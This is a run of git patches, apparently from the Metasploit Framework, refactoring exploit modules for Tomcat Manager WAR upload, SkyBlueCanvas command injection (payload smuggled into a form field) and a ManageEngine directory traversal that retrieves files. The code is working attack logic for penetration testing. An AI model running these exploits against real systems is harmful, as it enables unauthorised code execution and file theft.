arch and plat - return nil - end + vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture") - # see if we have a match - targets.each { |t| return t if t['Platform'] == plat and t['Arch'] == arch } + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true + ) - # no matching target found - return nil + return CheckCode::Appears end def exploit From 50317d44d38dae77125bc6fa8bb764869845b0b1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 16:23:17 -0600 Subject: [PATCH 123/246] Do more easy clean --- .../exploits/multi/http/tomcat_mgr_upload.rb | 211 ++++++++++-------- 1 file changed, 113 insertions(+), 98 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 9292b9937b..15a2039d6d 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -138,67 +138,34 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - # Generate the WAR containing the EXE containing the payload - jsp_name = rand_text_alphanumeric(4+rand(32-4)) - app_base = rand_text_alphanumeric(4+rand(32-4)) + @app_base = rand_text_alphanumeric(4+rand(32-4)) + @jsp_name = rand_text_alphanumeric(4+rand(32-4)) - # Generate the WAR containing the payload - war = payload.encoded_war({ - :app_name => app_base, - :jsp_name => jsp_name, - :arch => target.arch, - :platform => target.platform - }).to_s + # + # Find the session ID and the CSRF token + # - # find CSRF Token + print_status("#{peer} - Retrieving session ID and CSRF token...") res = query_manager fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200 + @session_id = res.get_cookies + @csrf_token = find_csrf(res) - session_id = res.get_cookies - csrf_token = find_csrf(res) - - vars_get = {} - unless csrf_token.nil? - vars_get = { - "path" => app_base, - "org.apache.catalina.filters.CSRF_NONCE" => csrf_token - } - end - - # UPLOAD # - path_tmp = normalize_uri(target_uri.path.to_s, "html", "upload") - print_status("Uploading #{war.length} bytes as #{app_base}.war ...") + # Upload Payload + # - boundary_identifier = rand_text_numeric(28) + war = war_payload + upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") + print_status("Uploading #{war.length} bytes as #{@app_base}.war ...") - warmultipart = "-----------------------------" - warmultipart << boundary_identifier - warmultipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\"" - warmultipart << app_base - warmultipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n" - warmultipart << war - warmultipart << "\r\n-----------------------------" - warmultipart << boundary_identifier - warmultipart << "--\r\n" + res = send_war_payload(upload_path, war) - - res = send_request_cgi({ - 'uri' => path_tmp, - 'method' => 'POST', - 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, - 'user' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'cookie' => session_id, - 'vars_get' => vars_get, - 'data' => warmultipart, - }) - - fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") unless res + fail_with(Failure::Unknown, "Upload failed on #{upload_path} [No Response]") unless res if res.code < 200 or res.code >= 300 print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 - fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") + fail_with(Failure::Unknown, "Upload failed on #{upload_path} [#{res.code} #{res.message}]") end report_auth_info( @@ -212,54 +179,45 @@ class Metasploit3 < Msf::Exploit::Remote ) # - # EXECUTE + # Execute Payload # - jsp_path = normalize_uri(app_base, "#{jsp_name}.jsp") + + jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") + print_status("Executing #{jsp_path}...") + res = send_request_cgi({ 'uri' => jsp_path, 'method' => 'GET' }) - print_error("Execution failed on #{app_base} [No Response]") unless res - + print_error("Execution failed on #{@app_base} [No Response]") unless res if res and (res.code < 200 or res.code >= 300) - print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]") + print_error("Execution failed on #{@app_base} [#{res.code} #{res.message}]") vprint_status(res.body) end - #Get the new CSRF token & session id + # + # Get the new CSRF token & session id + # + res = query_manager fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200 + @session_id = res.get_cookies + @csrf_token = find_csrf(res) - session_id = res.get_cookies - csrf_token = find_csrf(res) - - vars_get = {} - unless csrf_token.nil? - vars_get = { - "path" => app_base, - "org.apache.catalina.filters.CSRF_NONCE" => csrf_token - } - end # - # DELETE + # Delete the deployed payload # - path_tmp = normalize_uri(target_uri.path.to_s, "html", "undeploy") - print_status("Undeploying #{app_base} ...") - res = send_request_cgi({ - 'uri' => path_tmp, - 'vars_get' => vars_get, - 'method' => 'POST', - 'user' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'cookie' => session_id - }) - print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]") unless res + print_status("Undeploying #{@app_base} ...") + undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") + res = send_request_undeploy(undeploy_url) + print_warning("WARNING: Undeployment failed on #{undeploy_url} [No Response]") unless res if res and (res.code < 200 or res.code >= 300) print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]") end + end def query_status @@ -281,20 +239,29 @@ class Metasploit3 < Msf::Exploit::Remote return res end + def vars_get + vars = {} + unless @csrf_token.nil? + vars = { + "path" => @app_base, + "org.apache.catalina.filters.CSRF_NONCE" => @csrf_token + } + end + + return vars + end + def detect_platform(body) return nil if body.blank? i=0 - body.each_line { |ln| + body.each_line do |ln| ln.chomp! - case ln - when /OS Name/ - i=1 - end + i = 1 if ln =~ /OS Name/ - if (i==9 or i==11) + if i == 9 or i == 11 if ln.include? "Windows" return 'win' elsif ln.include? "Linux" @@ -303,24 +270,21 @@ class Metasploit3 < Msf::Exploit::Remote return 'unknown' end end - if i>0 - i=i+1 - end - } + + i = i+1 if i > 0 + end end def detect_arch(body) return nil if body.blank? i=0 - body.each_line { |ln| + body.each_line do |ln| ln.chomp! - case ln - when /OS Architecture/ - i=1 - end - if (i==9 or i==11) + i = 1 if ln =~ /OS Architecture/ + + if i==9 or i==11 if ln.include? 'x86' return ARCH_X86 elsif ln.include? 'i386' @@ -334,12 +298,10 @@ class Metasploit3 < Msf::Exploit::Remote elsif i==11 return 'unknown' end + end - end - if i>0 - i=i+1 - end - } + i = i + 1 if i > 0 + end end def find_csrf(res = nil) @@ -364,4 +326,57 @@ class Metasploit3 < Msf::Exploit::Remote return "" end + def generate_multipart_msg(boundary, data) + # Rex::MIME::Message is breaking the binary upload when trying to + # enforce CRLF for SMTP compatibility + war_multipart = "-----------------------------" + war_multipart << boundary + war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\"" + war_multipart << @app_base + war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n" + war_multipart << data + war_multipart << "\r\n-----------------------------" + war_multipart << boundary + war_multipart << "--\r\n" + end + + def war_payload + payload.encoded_war({ + :app_name => @app_base, + :jsp_name => @jsp_name, + :arch => target.arch, + :platform => target.platform + }).to_s + end + + def send_war_payload(url, war) + boundary_identifier = rand_text_numeric(28) + + res = send_request_cgi({ + 'uri' => url, + 'method' => 'POST', + 'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier, + 'user' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'cookie' => @session_id, + 'vars_get' => vars_get, + 'data' => generate_multipart_msg(boundary_identifier, war), + }) + + return res + end + + def send_request_undeploy(url) + res = send_request_cgi({ + 'uri' => url, + 'vars_get' => vars_get, + 'method' => 'POST', + 'user' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'cookie' => @session_id + }) + + return res + end + end From 697a86aad767afb648907222ccde672c51876738 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 16:29:45 -0600 Subject: [PATCH 124/246] Organize a little bit the code --- .../exploits/multi/http/tomcat_mgr_upload.rb | 22 ++++++++++++------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 15a2039d6d..f82aeb8369 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -146,10 +146,9 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{peer} - Retrieving session ID and CSRF token...") - res = query_manager - fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200 - @session_id = res.get_cookies - @csrf_token = find_csrf(res) + unless access_manager? + fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") + end # # Upload Payload @@ -201,10 +200,9 @@ class Metasploit3 < Msf::Exploit::Remote # Get the new CSRF token & session id # - res = query_manager - fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200 - @session_id = res.get_cookies - @csrf_token = find_csrf(res) + unless access_manager? + fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") + end # # Delete the deployed payload @@ -379,4 +377,12 @@ class Metasploit3 < Msf::Exploit::Remote return res end + def access_manager? + res = query_manager + return false unless res and res.code == 200 + @session_id = res.get_cookies + @csrf_token = find_csrf(res) + return true + end + end From 4458dc80a553811c8a8b857420fa2294a4b5e802 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 16:39:19 -0600 Subject: [PATCH 125/246] Clean the find_csrf mehtod --- .../exploits/multi/http/tomcat_mgr_upload.rb | 30 +++++++++---------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index f82aeb8369..7be5a042a2 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -10,6 +10,8 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } + CSRF_VAR = "CSRF_NONCE=" + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -303,23 +305,19 @@ class Metasploit3 < Msf::Exploit::Remote end def find_csrf(res = nil) - print_status("Finding CSRF") - body=res.body - body.each_line { |ln| + return "" if res.blank? + + print_status("Finding CSRF token...") + + body = res.body + + body.each_line do |ln| ln.chomp! - csrf_string = "CSRF_NONCE=" - csrf_nonce = ln.index(csrf_string) - csrf_test = 0 - if csrf_nonce == nil - csrf_test = -1 - else - csrf_test = csrf_nonce - end - if csrf_test >= 0 - token = ln[csrf_nonce+csrf_string.length,32] - return token - end - } + csrf_nonce = ln.index(CSRF_VAR) + next if csrf_nonce.nil? + token = ln[csrf_nonce + CSRF_VAR.length, 32] + return token + end return "" end From 9f669a8e39906448ab0fa837ccb0b452f7fbef0d Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 30 Jan 2014 16:46:36 -0600 Subject: [PATCH 126/246] Make check_multiple() thread-safe --- .../ui/console/module_command_dispatcher.rb | 31 ++++++++++++++----- 1 file changed, 24 insertions(+), 7 deletions(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 0af47b8d3b..b726e342b5 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -84,15 +84,28 @@ module ModuleCommandDispatcher break unless ip @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip| - mod.datastore['RHOST'] = tip - check_simple + # Make sure this is thread-safe when assigning an IP to the RHOST + # datastore option + instance = mod.replicant + instance.datastore['RHOST'] = tip.dup + framework.events.on_module_created(instance) + check_simple(instance) } end break if @tl.length == 0 tla = @tl.length - @tl.first.join + + # This exception handling is necessary, the first thread with errors can kill the + # whole check_multiple and leave the rest of the threads running in background and + # only accessible with the threads command (Thread.list) + begin + @tl.first.join + rescue ::Exception => exception + elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}") + end + @tl.delete_if { |t| not t.alive? } tlb = @tl.length @@ -141,12 +154,16 @@ module ModuleCommandDispatcher end end - def check_simple - rhost = mod.rhost - rport = mod.rport + def check_simple(instance=nil) + unless instance + instance = mod + end + + rhost = instance.rhost + rport = instance.rport begin - code = mod.check_simple( + code = instance.check_simple( 'LocalInput' => driver.input, 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) From 9daacf8fb1637b2b249a2c4fa25cf3eb1adabb63 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 16:58:17 -0600 Subject: [PATCH 127/246] Clean exploit method --- .../exploits/multi/http/tomcat_mgr_upload.rb | 134 ++++++++++++------ 1 file changed, 87 insertions(+), 47 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 7be5a042a2..39d174d7b1 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -146,7 +146,6 @@ class Metasploit3 < Msf::Exploit::Remote # # Find the session ID and the CSRF token # - print_status("#{peer} - Retrieving session ID and CSRF token...") unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") @@ -155,53 +154,32 @@ class Metasploit3 < Msf::Exploit::Remote # # Upload Payload # - - war = war_payload - upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") - print_status("Uploading #{war.length} bytes as #{@app_base}.war ...") - - res = send_war_payload(upload_path, war) - - fail_with(Failure::Unknown, "Upload failed on #{upload_path} [No Response]") unless res - - if res.code < 200 or res.code >= 300 - print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 - fail_with(Failure::Unknown, "Upload failed on #{upload_path} [#{res.code} #{res.message}]") + print_status("#{peer} - Uploading and deploying #{@app_base}...") + if upload_payload + report_auth_info( + :host => rhost, + :port => rport, + :sname => (ssl ? "https" : "http"), + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], + :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", + :active => true + ) + else + fail_with(Failure::Unknown, "Upload failed") end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) - # # Execute Payload # - - jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") - - print_status("Executing #{jsp_path}...") - - res = send_request_cgi({ - 'uri' => jsp_path, - 'method' => 'GET' - }) - - print_error("Execution failed on #{@app_base} [No Response]") unless res - if res and (res.code < 200 or res.code >= 300) - print_error("Execution failed on #{@app_base} [#{res.code} #{res.message}]") - vprint_status(res.body) + print_status("#{peer} - Executing #{@app_base}...") + unless execute_payload + fail_with(Failure::Unknown, "Failed to execute the payload") end # # Get the new CSRF token & session id # - unless access_manager? fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") end @@ -209,15 +187,10 @@ class Metasploit3 < Msf::Exploit::Remote # # Delete the deployed payload # - - print_status("Undeploying #{@app_base} ...") - undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") - res = send_request_undeploy(undeploy_url) - print_warning("WARNING: Undeployment failed on #{undeploy_url} [No Response]") unless res - if res and (res.code < 200 or res.code >= 300) - print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]") + print_status("#{peer} - Undeploying #{@app_base} ...") + unless undeploy_app + print_warning("#{peer} - Failed to undeploy #{@app_base}...") end - end def query_status @@ -307,7 +280,7 @@ class Metasploit3 < Msf::Exploit::Remote def find_csrf(res = nil) return "" if res.blank? - print_status("Finding CSRF token...") + vprint_status("#{peer} - Finding CSRF token...") body = res.body @@ -383,4 +356,71 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def upload_payload + war = war_payload + upload_path = normalize_uri(target_uri.path.to_s, "html", "upload") + vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...") + res = send_war_payload(upload_path, war) + return parse_upload_response(res) + end + + def parse_upload_response(res) + unless res + vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]") + return false + end + + if res.code < 200 or res.code >= 300 + vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 + vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]") + return false + end + + return true + end + + def execute_payload + jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp") + + vprint_status("#{peer} - Executing #{jsp_path}...") + + res = send_request_cgi({ + 'uri' => jsp_path, + 'method' => 'GET' + }) + + return parse_execute_response(res) + end + + def parse_execute_response(res) + unless res + vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]") + return false + end + + if res and (res.code < 200 or res.code >= 300) + vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]") + return false + end + + return true + end + + def undeploy_app + undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy") + res = send_request_undeploy(undeploy_url) + + unless res + vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]") + return false + end + + if res and (res.code < 200 or res.code >= 300) + vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]") + return false + end + + return true + end + end From 93db1c59afec26d60c055e6f9fffe904058cd4c0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 30 Jan 2014 17:16:43 -0600 Subject: [PATCH 128/246] Do small fixes --- .../exploits/multi/http/tomcat_mgr_upload.rb | 52 +++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 39d174d7b1..700f280cbb 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } - CSRF_VAR = "CSRF_NONCE=" + CSRF_VAR = 'CSRF_NONCE=' include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote NOTE: The compatible payload sets vary based on the selected target. For example, you must select the Windows target to use native Windows payloads. }, - 'Author' => [ 'rangercha' ], + 'Author' => 'rangercha', 'License' => MSF_LICENSE, 'References' => [ @@ -40,30 +40,30 @@ class Metasploit3 < Msf::Exploit::Remote # Instead, the focus has been on insecure/blank/hardcoded default passwords. # The following references refer to HP Operations Manager - [ 'CVE', '2009-3843' ], - [ 'OSVDB', '60317' ], - [ 'CVE', '2009-4189' ], - [ 'OSVDB', '60670' ], + ['CVE', '2009-3843'], + ['OSVDB', '60317'], + ['CVE', '2009-4189'], + ['OSVDB', '60670'], # HP Operations Dashboard - [ 'CVE', '2009-4188' ], + ['CVE', '2009-4188'], # IBM Cognos Express Default user/pass - [ 'BID', '38084' ], - [ 'CVE', '2010-0557' ], - [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ], + ['BID', '38084'], + ['CVE', '2010-0557'], + ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'], # IBM Rational Quality Manager and Test Lab Manager - [ 'CVE', '2010-4094' ], - [ 'ZDI', '10-214' ], + ['CVE', '2010-4094'], + ['ZDI', '10-214'], # 'admin' password is blank in default Windows installer - [ 'CVE', '2009-3548' ], - [ 'OSVDB', '60176' ], - [ 'BID', '36954' ], + ['CVE', '2009-3548'], + ['OSVDB', '60176'], + ['BID', '36954'], # tomcat docs - [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ] + ['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html'] ], 'Platform' => %w{ java linux win }, # others? 'Targets' => @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Arch' => ARCH_JAVA, 'Platform' => 'java' - }, + } ], # # Platform specific targets only @@ -81,24 +81,24 @@ class Metasploit3 < Msf::Exploit::Remote { 'Arch' => ARCH_X86, 'Platform' => 'win' - }, + } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' - }, - ], + } + ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 09 2009')) register_options( [ - OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), + OptString.new('USERNAME', [false, 'The username to authenticate as']), + OptString.new('PASSWORD', [false, 'The password for the specified username']), # /cognos_express/manager/ for Cognos Express (19300) - OptString.new('TARGETURI', [ true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) + OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager']) ], self.class) end @@ -140,8 +140,8 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - @app_base = rand_text_alphanumeric(4+rand(32-4)) - @jsp_name = rand_text_alphanumeric(4+rand(32-4)) + @app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + @jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) # # Find the session ID and the CSRF token @@ -423,4 +423,4 @@ class Metasploit3 < Msf::Exploit::Remote return true end -end +end \ No newline at end of file From 4d008ca3f3604a48638c8938cd0ef315033d13be Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Thu, 30 Jan 2014 18:57:27 -0600 Subject: [PATCH 129/246] Fix ::Interrupt exception handling --- lib/msf/ui/console/module_command_dispatcher.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index b726e342b5..d384abfb9c 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -103,7 +103,11 @@ module ModuleCommandDispatcher begin @tl.first.join rescue ::Exception => exception - elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}") + if exception.kind_of?(::Interrupt) + raise exception + else + elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}") + end end @tl.delete_if { |t| not t.alive? } From ffd8f7eee0d765f56d0cd2a3093bbaa707ada9a9 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Fri, 31 Jan 2014 12:52:48 +0700 Subject: [PATCH 130/246] Changes as requested in SkyBlue Canvas RCE module --- .../exploits/multi/http/skybluecanvas_exec.rb | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb index 482afd3571..7bc9062962 100644 --- a/modules/exploits/multi/http/skybluecanvas_exec.rb +++ b/modules/exploits/multi/http/skybluecanvas_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby bash telnet python' } }, - 'Platform' => %w{ linux unix }, + 'Platform' => %w{ unix }, 'Targets' => [ ['SkyBlueCanvas', {}] @@ -49,40 +49,41 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('URI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), + OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), ],self.class) end def check - uri = normalize_uri(datastore['URI'], "index.php") + uri = normalize_uri(target_uri.path.to_s, "index.php") res = send_request_raw( { 'uri' => uri - }, 25) + }) - if (res and res.body =~ /[1.1 r248]/) + if res and res.body =~ /[1.1 r248]/ print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit - uri = normalize_uri(datastore['URI'], "index.php?pid=4") + uri = normalize_uri(target_uri.path.to_s, "index.php") res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, + 'vars_get' => { 'pid' => '4' }, 'vars_post' => { - 'cid' => "3", + 'cid' => '3', 'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};", 'email' => rand_text_alphanumeric(10), - "subject" => rand_text_alphanumeric(10), - "message" => rand_text_alphanumeric(10), - "action" => "Send" + 'subject' => rand_text_alphanumeric(10), + 'message' => rand_text_alphanumeric(10), + 'action' => 'Send' } - }, 25) + }) end end From e81a0ed22b42b5f885a6046f3b1b2f2dd25abfd7 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Fri, 31 Jan 2014 13:28:45 +0700 Subject: [PATCH 131/246] Changes as requested for SupportCenterPlus module --- ...support_center_plus_directory_traversal.rb | 67 +++++++++++-------- 1 file changed, 38 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index d74157e6db..e1b6fd49ca 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine Support Center Plus 7916 Directory Traversal", + 'Name' => "ManageEngine Support Center Plus Directory Traversal", 'Description' => %q{ This module exploits a directory traversal vulnerability found in ManageEngine Support Center Plus build 7916 and lower. The module will create a support ticket @@ -27,8 +27,10 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module 'References' => [ + [ 'EDB', '31262' ], + [ 'URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html' ] ], - 'Platform' => ['java'], + 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => 'Support Center Plus', 'Privileged' => true, @@ -55,31 +57,32 @@ class Metasploit3 < Msf::Auxiliary 'uri' => normalize_uri(uri, ""), }) - if res.code == 200 - if (res.headers['Set-Cookie'] =~ /JSESSIONID=([a-zA-Z0-9]+)/) - session = $1 - print_status("#{peer} - Session cookie is [ #{session} ]") - else - print_error("#{peer} - Session cookie not found!") - end + if res and res.code == 200 + session = res.get_cookies else print_error("#{peer} - Server returned #{res.code.to_s}") end - post_data = "j_username=#{datastore['USER']}&j_password=#{datastore['PASS']}&logonDomainName=undefined&sso_status=false&loginButton=Login" - print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(uri, "j_security_check"), - 'cookie' => "JSESSIONID=#{session}", - 'data' => post_data - }) + print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "j_security_check"), + 'cookie' => session, + 'vars_post' => + { + 'j_username' => datastore['USER'], + 'j_password' => datastore['PASS'], + 'logonDomainName' => 'undefined', + 'sso_status' => 'false', + 'loginButton' => 'Login' + } + }) - if not res or res.code != 302 + if res and res.code == 302 + print_status("#{peer} - Login succesful") + else print_error("#{peer} - Login was not succesful!") return - else - print_status("#{peer} - Login succesful") end randomname = Rex::Text.rand_text_alphanumeric(10) @@ -87,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "WorkOrder.do"), - 'cookie' => "JSESSIONID=#{session}", + 'cookie' => session, 'vars_post' => { 'reqTemplate' => '', @@ -113,10 +116,7 @@ class Metasploit3 < Msf::Auxiliary } }) - if not res or res.code != 200 - print_error("#{peer} - Ticket not created due to error!") - return - else + if res and res.code == 200 print_status("#{peer} - Ticket created") if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/) fileid = $1 @@ -126,19 +126,26 @@ class Metasploit3 < Msf::Auxiliary else print_error("#{peer} - File ID and AuthKey not found!") end + else + print_error("#{peer} - Ticket not created due to error!") + return end print_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey}") + 'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"), + 'vars_get' => + { + 'module' => 'Request', + 'ID' => fileid, + 'authKey' => fileauthkey + } }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. - if res and res.code != 200 - print_error("#{peer} - Server returned #{res.code.to_s}") - else + if res and res.code == 200 data = res.body p = store_loot( 'manageengine.supportcenterplus', @@ -148,6 +155,8 @@ class Metasploit3 < Msf::Auxiliary datastore['FILE'] ) print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]") + else + print_error("#{peer} - Server returned #{res.code.to_s}") end end end From 810605f0b7c988a603c5ed8dc4ec1edf075e67ed Mon Sep 17 00:00:00 2001 From: 